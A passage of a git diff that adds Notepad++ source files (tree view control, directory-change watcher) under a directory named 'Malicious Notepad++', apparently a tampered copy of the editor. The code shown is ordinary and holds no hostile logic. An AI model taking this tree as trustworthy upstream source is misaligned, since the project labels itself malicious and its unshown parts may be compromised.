+ removeItem(draggedItem); +} + +bool TreeView::moveDown(HTREEITEM itemToMove) +{ + HTREEITEM hItemToUp = getNextSibling(itemToMove); + if (!hItemToUp) + return false; + return swapTreeViewItem(itemToMove, hItemToUp); +} + +bool TreeView::moveUp(HTREEITEM itemToMove) +{ + HTREEITEM hItemToDown = getPrevSibling(itemToMove); + if (!hItemToDown) + return false; + return swapTreeViewItem(hItemToDown, itemToMove); +} + +bool TreeView::swapTreeViewItem(HTREEITEM itemGoDown, HTREEITEM itemGoUp) +{ + HTREEITEM selectedItem = getSelection(); + int itemSelected = selectedItem == itemGoDown?1:(selectedItem == itemGoUp?2:0); + + // get previous and next for both items with () function + HTREEITEM itemTop = getPrevSibling(itemGoDown); + itemTop = itemTop?itemTop:(HTREEITEM)TVI_FIRST; + HTREEITEM parentGoDown = getParent(itemGoDown); + HTREEITEM parentGoUp = getParent(itemGoUp); + + if (parentGoUp != parentGoDown) + return false; + + // get both item infos + TCHAR textBufferUp[MAX_PATH]; + TCHAR textBufferDown[MAX_PATH]; + TVITEM tvUpItem; + TVITEM tvDownItem; + tvUpItem.mask = TVIF_TEXT | TVIF_PARAM | TVIF_IMAGE | TVIF_SELECTEDIMAGE; + tvDownItem.mask = TVIF_TEXT | TVIF_PARAM | TVIF_IMAGE | TVIF_SELECTEDIMAGE; + tvUpItem.pszText = textBufferUp; + tvDownItem.pszText = textBufferDown; + tvUpItem.cchTextMax = MAX_PATH; + tvDownItem.cchTextMax = MAX_PATH; + tvUpItem.hItem = itemGoUp; + tvDownItem.hItem = itemGoDown; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvUpItem)); + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvDownItem)); + + // make copy recursively for both items + + if (tvUpItem.lParam) + tvUpItem.lParam = reinterpret_cast(new generic_string(*(reinterpret_cast(tvUpItem.lParam)))); + if (tvDownItem.lParam) + tvDownItem.lParam = reinterpret_cast(new generic_string(*(reinterpret_cast(tvDownItem.lParam)))); + + // add 2 new items + TVINSERTSTRUCT tvInsertUp; + tvInsertUp.item = tvUpItem; + tvInsertUp.hInsertAfter = itemTop; + tvInsertUp.hParent = parentGoUp; + HTREEITEM hTreeParent1stInserted = reinterpret_cast(::SendMessage(_hSelf, TVM_INSERTITEM, 0, reinterpret_cast(&tvInsertUp))); + dupTree(itemGoUp, hTreeParent1stInserted); + + TVINSERTSTRUCT tvInsertDown; + tvInsertDown.item = tvDownItem; + tvInsertDown.hInsertAfter = hTreeParent1stInserted; + tvInsertDown.hParent = parentGoDown; + HTREEITEM hTreeParent2ndInserted = reinterpret_cast(::SendMessage(_hSelf, TVM_INSERTITEM, 0, reinterpret_cast(&tvInsertDown))); + dupTree(itemGoDown, hTreeParent2ndInserted); + + // remove 2 old items + removeItem(itemGoUp); + removeItem(itemGoDown); + + // Restore the selection if needed + switch (itemSelected) + { + case 1: + selectItem(hTreeParent2ndInserted); + break; + case 2: + selectItem(hTreeParent1stInserted); + break; + default: + break; + } + return true; +} + + +bool TreeView::canDropIn(HTREEITEM targetItem) +{ + TVITEM tvItem; + tvItem.mask = TVIF_IMAGE; + tvItem.hItem = targetItem; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + for (size_t i = 0, len = _canNotDropInList.size(); i < len; ++i) + { + if (tvItem.iImage == _canNotDropInList[i]) + return false; + } + return true; +} + + +bool TreeView::canDragOut(HTREEITEM targetItem) +{ + TVITEM tvItem; + tvItem.mask = TVIF_IMAGE; + tvItem.hItem = targetItem; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + for (size_t i = 0, len = _canNotDragOutList.size(); i < len; ++i) + { + if (tvItem.iImage == _canNotDragOutList[i]) + return false; + } + return true; +} + + + +bool TreeView::searchLeafAndBuildTree(TreeView & tree2Build, const generic_string & text2Search, int index2Search) +{ + //tree2Build.removeAllItems(); + //HTREEITEM root = getRoot(); + + return searchLeafRecusivelyAndBuildTree(tree2Build.getRoot(), text2Search, index2Search, getRoot()); +} + +bool TreeView::searchLeafRecusivelyAndBuildTree(HTREEITEM tree2Build, const generic_string & text2Search, int index2Search, HTREEITEM tree2Search) +{ + if (!tree2Search) + return false; + + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.hItem = tree2Search; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + tvItem.mask = TVIF_TEXT | TVIF_PARAM | TVIF_IMAGE | TVIF_SELECTEDIMAGE; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + if (tvItem.iImage == index2Search) + { + generic_string itemNameUpperCase = stringToUpper(tvItem.pszText); + generic_string text2SearchUpperCase = stringToUpper(text2Search); + + size_t res = itemNameUpperCase.find(text2SearchUpperCase); + if (res != generic_string::npos) + { + if (tvItem.lParam) + { + tvItem.lParam = reinterpret_cast(new generic_string(*(reinterpret_cast(tvItem.lParam)))); + } + TVINSERTSTRUCT tvInsertStruct; + tvInsertStruct.item = tvItem; + tvInsertStruct.hInsertAfter = TVI_LAST; + tvInsertStruct.hParent = tree2Build; + ::SendMessage(_hSelf, TVM_INSERTITEM, 0, reinterpret_cast(&tvInsertStruct)); + } + } + + size_t i = 0; + bool isOk = true; + for (HTREEITEM hItem = getChildFrom(tree2Search); hItem != NULL; hItem = getNextSibling(hItem)) + { + isOk = searchLeafRecusivelyAndBuildTree(tree2Build, text2Search, index2Search, hItem); + if (!isOk) + break; + ++i; + } + return isOk; +} + + +bool TreeView::retrieveFoldingStateTo(TreeStateNode & treeState2Construct, HTREEITEM treeviewNode) +{ + if (!treeviewNode) + return false; + + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.hItem = treeviewNode; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + tvItem.mask = TVIF_TEXT | TVIF_PARAM | TVIF_STATE; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + treeState2Construct._label = textBuffer; + treeState2Construct._isExpanded = (tvItem.state & TVIS_EXPANDED) != 0; + treeState2Construct._isSelected = (tvItem.state & TVIS_SELECTED) != 0; + + if (tvItem.lParam) + { + treeState2Construct._extraData = *((generic_string *)tvItem.lParam); + } + + int i = 0; + for (HTREEITEM hItem = getChildFrom(treeviewNode); hItem != NULL; hItem = getNextSibling(hItem)) + { + treeState2Construct._children.push_back(TreeStateNode()); + retrieveFoldingStateTo(treeState2Construct._children.at(i), hItem); + ++i; + } + return true; +} + +bool TreeView::restoreFoldingStateFrom(const TreeStateNode & treeState2Compare, HTREEITEM treeviewNode) +{ + if (!treeviewNode) + return false; + + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.hItem = treeviewNode; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + tvItem.mask = TVIF_TEXT | TVIF_PARAM | TVIF_STATE; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + if (treeState2Compare._label != textBuffer) + return false; + + if (tvItem.lParam) + { + if (treeState2Compare._extraData != *(reinterpret_cast(tvItem.lParam))) + return false; + } + + if (treeState2Compare._isExpanded) //= (tvItem.state & TVIS_EXPANDED) != 0; + expand(treeviewNode); + else + fold(treeviewNode); + + if (treeState2Compare._isSelected) //= (tvItem.state & TVIS_SELECTED) != 0; + selectItem(treeviewNode); + + size_t i = 0; + bool isOk = true; + for (HTREEITEM hItem = getChildFrom(treeviewNode); hItem != NULL; hItem = getNextSibling(hItem)) + { + if (i >= treeState2Compare._children.size()) + return false; + isOk = restoreFoldingStateFrom(treeState2Compare._children.at(i), hItem); + if (!isOk) + break; + ++i; + } + return isOk; +} + +void TreeView::sort(HTREEITEM hTreeItem) +{ + ::SendMessage(_hSelf, TVM_SORTCHILDREN, TRUE, reinterpret_cast(hTreeItem)); + + for (HTREEITEM hItem = getChildFrom(hTreeItem); hItem != NULL; hItem = getNextSibling(hItem)) + sort(hItem); +} diff --git a/Malicious Notepad++/src/WinControls/ProjectPanel/TreeView.h b/Malicious Notepad++/src/WinControls/ProjectPanel/TreeView.h new file mode 100644 index 0000000..2098df3 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ProjectPanel/TreeView.h @@ -0,0 +1,146 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#ifndef TREE_VIEW_H +#define TREE_VIEW_H + +#include +#include +#include "Window.h" +#include "Common.h" + +struct TreeStateNode { + generic_string _label; + generic_string _extraData; + bool _isExpanded; + bool _isSelected; + std::vector _children; +}; + + +class TreeView : public Window { +public: + TreeView() : Window(), _isItemDragged(false) {}; + + virtual ~TreeView() {}; + virtual void init(HINSTANCE hInst, HWND parent, int treeViewID); + virtual void destroy(); + HTREEITEM addItem(const TCHAR *itemName, HTREEITEM hParentItem, int iImage, const TCHAR *filePath = NULL); + bool setItemParam(HTREEITEM Item2Set, const TCHAR *paramStr); + LPARAM getItemParam(HTREEITEM Item2Get) const; + generic_string getItemDisplayName(HTREEITEM Item2Set) const; + HTREEITEM searchSubItemByName(const TCHAR *itemName, HTREEITEM hParentItem); + void removeItem(HTREEITEM hTreeItem); + void removeAllItems(); + bool renameItem(HTREEITEM Item2Set, const TCHAR *newName); + void makeLabelEditable(bool toBeEnabled); + + HTREEITEM getChildFrom(HTREEITEM hTreeItem) const { + return TreeView_GetChild(_hSelf, hTreeItem); + }; + HTREEITEM getSelection() const { + return TreeView_GetSelection(_hSelf); + }; + bool selectItem(HTREEITEM hTreeItem2Select) const { + return TreeView_SelectItem(_hSelf, hTreeItem2Select) == TRUE; + }; + HTREEITEM getRoot() const { + return TreeView_GetRoot(_hSelf); + }; + HTREEITEM getParent(HTREEITEM hItem) const { + return TreeView_GetParent(_hSelf, hItem); + }; + HTREEITEM getNextSibling(HTREEITEM hItem) const { + return TreeView_GetNextSibling(_hSelf, hItem); + }; + HTREEITEM getPrevSibling(HTREEITEM hItem) const { + return TreeView_GetPrevSibling(_hSelf, hItem); + }; + + void expand(HTREEITEM hItem) const { + TreeView_Expand(_hSelf, hItem, TVE_EXPAND); + }; + + void fold(HTREEITEM hItem) const { + TreeView_Expand(_hSelf, hItem, TVE_COLLAPSE); + }; + + void toggleExpandCollapse(HTREEITEM hItem) const { + TreeView_Expand(_hSelf, hItem, TVE_TOGGLE); + }; + void setItemImage(HTREEITEM hTreeItem, int iImage, int iSelectedImage); + + // Drag and Drop operations + void beginDrag(NMTREEVIEW* tv); + void dragItem(HWND parentHandle, int x, int y); + bool isDragging() const { + return _isItemDragged; + }; + bool dropItem(); + void addCanNotDropInList(int val2set) { + _canNotDropInList.push_back(val2set); + }; + + void addCanNotDragOutList(int val2set) { + _canNotDragOutList.push_back(val2set); + }; + + bool moveDown(HTREEITEM itemToMove); + bool moveUp(HTREEITEM itemToMove); + bool swapTreeViewItem(HTREEITEM itemGoDown, HTREEITEM itemGoUp); + bool restoreFoldingStateFrom(const TreeStateNode & treeState2Compare, HTREEITEM treeviewNode); + bool retrieveFoldingStateTo(TreeStateNode & treeState2Construct, HTREEITEM treeviewNode); + bool searchLeafAndBuildTree(TreeView & tree2Build, const generic_string & text2Search, int index2Search); + void sort(HTREEITEM hTreeItem); + +protected: + WNDPROC _defaultProc; + LRESULT runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + + static LRESULT CALLBACK staticProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) { + return (((TreeView *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProc(hwnd, Message, wParam, lParam)); + }; + void cleanSubEntries(HTREEITEM hTreeItem); + void dupTree(HTREEITEM hTree2Dup, HTREEITEM hParentItem); + bool searchLeafRecusivelyAndBuildTree(HTREEITEM tree2Build, const generic_string & text2Search, int index2Search, HTREEITEM tree2Search); + + // Drag and Drop operations + HTREEITEM _draggedItem; + HIMAGELIST _draggedImageList; + bool _isItemDragged; + std::vector _canNotDragOutList; + std::vector _canNotDropInList; + bool canBeDropped(HTREEITEM draggedItem, HTREEITEM targetItem); + void moveTreeViewItem(HTREEITEM draggedItem, HTREEITEM targetItem); + bool isParent(HTREEITEM targetItem, HTREEITEM draggedItem); + bool isDescendant(HTREEITEM targetItem, HTREEITEM draggedItem); + bool canDragOut(HTREEITEM targetItem); + bool canDropIn(HTREEITEM targetItem); +}; + + +#endif // TREE_VIEW_H diff --git a/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChanges.cpp b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChanges.cpp new file mode 100644 index 0000000..8467f6f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChanges.cpp @@ -0,0 +1,112 @@ +// +// The MIT License +// +// Copyright (c) 2010 James E Beveridge +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + + +// This sample code is for my blog entry titled, "Understanding ReadDirectoryChangesW" +// http://qualapps.blogspot.com/2010/05/understanding-readdirectorychangesw.html +// See ReadMe.txt for overview information. + +#include "ReadDirectoryChanges.h" +#include "ReadDirectoryChangesPrivate.h" + +using namespace ReadDirectoryChangesPrivate; + +/////////////////////////////////////////////////////////////////////////// +// CReadDirectoryChanges + +CReadDirectoryChanges::CReadDirectoryChanges(int nMaxCount) + : m_Notifications(nMaxCount) +{ + m_hThread = NULL; + m_dwThreadId= 0; + m_pServer = new CReadChangesServer(this); +} + +CReadDirectoryChanges::~CReadDirectoryChanges() +{ + Terminate(); + delete m_pServer; +} + +void CReadDirectoryChanges::Init() +{ + // + // Kick off the worker thread, which will be + // managed by CReadChangesServer. + // + m_hThread = (HANDLE)_beginthreadex(NULL, + 0, + CReadChangesServer::ThreadStartProc, + m_pServer, + 0, + &m_dwThreadId + ); +} + +void CReadDirectoryChanges::Terminate() +{ + if (m_hThread) + { + ::QueueUserAPC(CReadChangesServer::TerminateProc, m_hThread, (ULONG_PTR)m_pServer); + ::WaitForSingleObjectEx(m_hThread, 10000, true); + ::CloseHandle(m_hThread); + + m_hThread = NULL; + m_dwThreadId = 0; + } +} + +void CReadDirectoryChanges::AddDirectory( LPCTSTR szDirectory, BOOL bWatchSubtree, DWORD dwNotifyFilter, DWORD dwBufferSize ) +{ + if (!m_hThread) + Init(); + + CReadChangesRequest* pRequest = new CReadChangesRequest(m_pServer, szDirectory, bWatchSubtree, dwNotifyFilter, dwBufferSize); + QueueUserAPC(CReadChangesServer::AddDirectoryProc, m_hThread, (ULONG_PTR)pRequest); +} + +void CReadDirectoryChanges::Push(DWORD dwAction, CStringW& wstrFilename) +{ + TDirectoryChangeNotification dirChangeNotif = TDirectoryChangeNotification(dwAction, wstrFilename); + m_Notifications.push(dirChangeNotif); +} + +bool CReadDirectoryChanges::Pop(DWORD& dwAction, CStringW& wstrFilename) +{ + TDirectoryChangeNotification pair; + if (!m_Notifications.pop(pair)) + return false; + + dwAction = pair.first; + wstrFilename = pair.second; + + return true; +} + +bool CReadDirectoryChanges::CheckOverflow() +{ + bool b = m_Notifications.overflow(); + if (b) + m_Notifications.clear(); + return b; +} diff --git a/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChanges.h b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChanges.h new file mode 100644 index 0000000..33fad8d --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChanges.h @@ -0,0 +1,164 @@ +// +// The MIT License +// +// Copyright (c) 2010 James E Beveridge +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + + +// This sample code is for my blog entry titled, "Understanding ReadDirectoryChangesW" +// http://qualapps.blogspot.com/2010/05/understanding-readdirectorychangesw.html +// See ReadMe.txt for overview information. + + +#pragma once + +#define _CRT_SECURE_NO_DEPRECATE + +#include "targetver.h" + +#include + +#ifndef VC_EXTRALEAN +#define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers +#endif + +#include + +#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // some CString constructors will be explicit + +#include +#include + +#include +#include + +using namespace std; + +#include "ThreadSafeQueue.h" + +typedef pair TDirectoryChangeNotification; + +namespace ReadDirectoryChangesPrivate +{ + class CReadChangesServer; +} + +/////////////////////////////////////////////////////////////////////////// + + +/// +/// Track changes to filesystem directories and report them +/// to the caller via a thread-safe queue. +/// +/// +/// +/// This sample code is based on my blog entry titled, "Understanding ReadDirectoryChangesW" +/// http://qualapps.blogspot.com/2010/05/understanding-readdirectorychangesw.html +/// +/// All functions in CReadDirectoryChangesServer run in +/// the context of the calling thread. +/// +/// +/// CReadDirectoryChanges changes; +/// changes.AddDirectory(_T("C:\\"), false, dwNotificationFlags); +/// +/// const HANDLE handles[] = { hStopEvent, changes.GetWaitHandle() }; +/// +/// while (!bTerminate) +/// { +/// ::MsgWaitForMultipleObjectsEx( +/// _countof(handles), +/// handles, +/// INFINITE, +/// QS_ALLINPUT, +/// MWMO_INPUTAVAILABLE | MWMO_ALERTABLE); +/// switch (rc) +/// { +/// case WAIT_OBJECT_0 + 0: +/// bTerminate = true; +/// break; +/// case WAIT_OBJECT_0 + 1: +/// // We've received a notification in the queue. +/// { +/// DWORD dwAction; +/// CStringW wstrFilename; +/// changes.Pop(dwAction, wstrFilename); +/// wprintf(L"%s %s\n", ExplainAction(dwAction), wstrFilename); +/// } +/// break; +/// case WAIT_OBJECT_0 + _countof(handles): +/// // Get and dispatch message +/// break; +/// case WAIT_IO_COMPLETION: +/// // APC complete.No action needed. +/// break; +/// } +/// } +/// +/// +class CReadDirectoryChanges +{ +public: + CReadDirectoryChanges(int nMaxChanges=1000); + ~CReadDirectoryChanges(); + + void Init(); + void Terminate(); + + /// + /// Add a new directory to be monitored. + /// + /// Directory to monitor. + /// True to also monitor subdirectories. + /// The types of file system events to monitor, such as FILE_NOTIFY_CHANGE_ATTRIBUTES. + /// The size of the buffer used for overlapped I/O. + /// + /// + /// This function will make an APC call to the worker thread to issue a new + /// ReadDirectoryChangesW call for the given directory with the given flags. + /// + /// + void AddDirectory( LPCTSTR wszDirectory, BOOL bWatchSubtree, DWORD dwNotifyFilter, DWORD dwBufferSize=16384 ); + + /// + /// Return a handle for the Win32 Wait... functions that will be + /// signaled when there is a queue entry. + /// + HANDLE GetWaitHandle() { return m_Notifications.GetWaitHandle(); } + + bool Pop(DWORD& dwAction, CStringW& wstrFilename); + + // "Push" is for usage by ReadChangesRequest. Not intended for external usage. + void Push(DWORD dwAction, CStringW& wstrFilename); + + // Check if the queue overflowed. If so, clear it and return true. + bool CheckOverflow(); + + unsigned int GetThreadId() { return m_dwThreadId; } + +protected: + ReadDirectoryChangesPrivate::CReadChangesServer* m_pServer; + + HANDLE m_hThread; + + unsigned int m_dwThreadId; + + CThreadSafeQueue m_Notifications; +}; diff --git a/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.cpp b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.cpp new file mode 100644 index 0000000..5f9cd4e --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.cpp @@ -0,0 +1,178 @@ +// +// The MIT License +// +// Copyright (c) 2010 James E Beveridge +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + + +// This sample code is for my blog entry titled, "Understanding ReadDirectoryChangesW" +// http://qualapps.blogspot.com/2010/05/understanding-readdirectorychangesw.html +// See ReadMe.txt for overview information. + +#include "ReadDirectoryChanges.h" +#include "ReadDirectoryChangesPrivate.h" + + +// The namespace is a convenience to emphasize that these are internals +// interfaces. The namespace can be safely removed if you need to. +namespace ReadDirectoryChangesPrivate +{ + +/////////////////////////////////////////////////////////////////////////// +// CReadChangesRequest + +CReadChangesRequest::CReadChangesRequest(CReadChangesServer* pServer, LPCTSTR sz, BOOL b, DWORD dw, DWORD size) +{ + m_pServer = pServer; + m_dwFilterFlags = dw; + m_bIncludeChildren = b; + m_wstrDirectory = sz; + m_hDirectory = 0; + + ::ZeroMemory(&m_Overlapped, sizeof(OVERLAPPED)); + + // The hEvent member is not used when there is a completion + // function, so it's ok to use it to point to the object. + m_Overlapped.hEvent = this; + + m_Buffer.resize(size); + m_BackupBuffer.resize(size); +} + + +CReadChangesRequest::~CReadChangesRequest() +{ + // RequestTermination() must have been called successfully. + _ASSERTE(m_hDirectory == NULL); +} + + +bool CReadChangesRequest::OpenDirectory() +{ + // Allow this routine to be called redundantly. + if (m_hDirectory) + return true; + + m_hDirectory = ::CreateFileW( + m_wstrDirectory, // pointer to the file name + FILE_LIST_DIRECTORY, // access (read/write) mode + FILE_SHARE_READ // share mode + | FILE_SHARE_WRITE + | FILE_SHARE_DELETE, + NULL, // security descriptor + OPEN_EXISTING, // how to create + FILE_FLAG_BACKUP_SEMANTICS // file attributes + | FILE_FLAG_OVERLAPPED, + NULL); // file with attributes to copy + + if (m_hDirectory == INVALID_HANDLE_VALUE) + { + return false; + } + + return true; +} + +void CReadChangesRequest::BeginRead() +{ + DWORD dwBytes=0; + + // This call needs to be reissued after every APC. + ::ReadDirectoryChangesW( + m_hDirectory, // handle to directory + &m_Buffer[0], // read results buffer + static_cast(m_Buffer.size()), // length of buffer + m_bIncludeChildren, // monitoring option + m_dwFilterFlags, // filter conditions + &dwBytes, // bytes returned + &m_Overlapped, // overlapped buffer + &NotificationCompletion); // completion routine +} + +//static +VOID CALLBACK CReadChangesRequest::NotificationCompletion( + DWORD dwErrorCode, // completion code + DWORD dwNumberOfBytesTransfered, // number of bytes transferred + LPOVERLAPPED lpOverlapped) // I/O information buffer +{ + CReadChangesRequest* pBlock = static_cast(lpOverlapped->hEvent); + + if (dwErrorCode == ERROR_OPERATION_ABORTED) + { + ::InterlockedDecrement(&pBlock->m_pServer->m_nOutstandingRequests); + delete pBlock; + return; + } + + // Can't use sizeof(FILE_NOTIFY_INFORMATION) because + // the structure is padded to 16 bytes. + _ASSERTE(dwNumberOfBytesTransfered >= offsetof(FILE_NOTIFY_INFORMATION, FileName) + sizeof(WCHAR)); + + // This might mean overflow? Not sure. + if(!dwNumberOfBytesTransfered) + return; + + pBlock->BackupBuffer(dwNumberOfBytesTransfered); + + // Get the new read issued as fast as possible. The documentation + // says that the original OVERLAPPED structure will not be used + // again once the completion routine is called. + pBlock->BeginRead(); + + pBlock->ProcessNotification(); +} + +void CReadChangesRequest::ProcessNotification() +{ + BYTE* pBase = m_BackupBuffer.data(); + + for (;;) + { + FILE_NOTIFY_INFORMATION& fni = (FILE_NOTIFY_INFORMATION&)*pBase; + + CStringW wstrFilename(fni.FileName, fni.FileNameLength/sizeof(wchar_t)); + // Handle a trailing backslash, such as for a root directory. + if (wstrFilename.Right(1) != L"\\") + wstrFilename = m_wstrDirectory + L"\\" + wstrFilename; + else + wstrFilename = m_wstrDirectory + wstrFilename; + + // If it could be a short filename, expand it. + LPCWSTR wszFilename = PathFindFileNameW(wstrFilename); + int len = lstrlenW(wszFilename); + // The maximum length of an 8.3 filename is twelve, including the dot. + if (len <= 12 && wcschr(wszFilename, L'~')) + { + // Convert to the long filename form. Unfortunately, this + // does not work for deletions, so it's an imperfect fix. + wchar_t wbuf[MAX_PATH]; + if (::GetLongPathNameW(wstrFilename, wbuf, _countof(wbuf)) > 0) + wstrFilename = wbuf; + } + + m_pServer->m_pBase->Push(fni.Action, wstrFilename); + + if (!fni.NextEntryOffset) + break; + pBase += fni.NextEntryOffset; + }; +} + +} diff --git a/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.h b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.h new file mode 100644 index 0000000..cd7beeb --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.h @@ -0,0 +1,177 @@ +// +// The MIT License +// +// Copyright (c) 2010 James E Beveridge +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + + +// This sample code is for my blog entry titled, "Understanding ReadDirectoryChangesW" +// http://qualapps.blogspot.com/2010/05/understanding-readdirectorychangesw.html +// See ReadMe.txt for overview information. + +class CReadDirectoryChanges; + +namespace ReadDirectoryChangesPrivate +{ + +class CReadChangesServer; + +/////////////////////////////////////////////////////////////////////////// + +// All functions in CReadChangesRequest run in the context of the worker thread. +// One instance of this object is created for each call to AddDirectory(). +class CReadChangesRequest +{ +public: + CReadChangesRequest(CReadChangesServer* pServer, LPCTSTR sz, BOOL b, DWORD dw, DWORD size); + + ~CReadChangesRequest(); + + bool OpenDirectory(); + + void BeginRead(); + + // The dwSize is the actual number of bytes sent to the APC. + void BackupBuffer(DWORD dwSize) + { + // We could just swap back and forth between the two + // buffers, but this code is easier to understand and debug. + memcpy(&m_BackupBuffer[0], &m_Buffer[0], dwSize); + } + + void ProcessNotification(); + + void RequestTermination() + { + ::CancelIo(m_hDirectory); + ::CloseHandle(m_hDirectory); + m_hDirectory = nullptr; + } + + CReadChangesServer* m_pServer; + +protected: + + static VOID 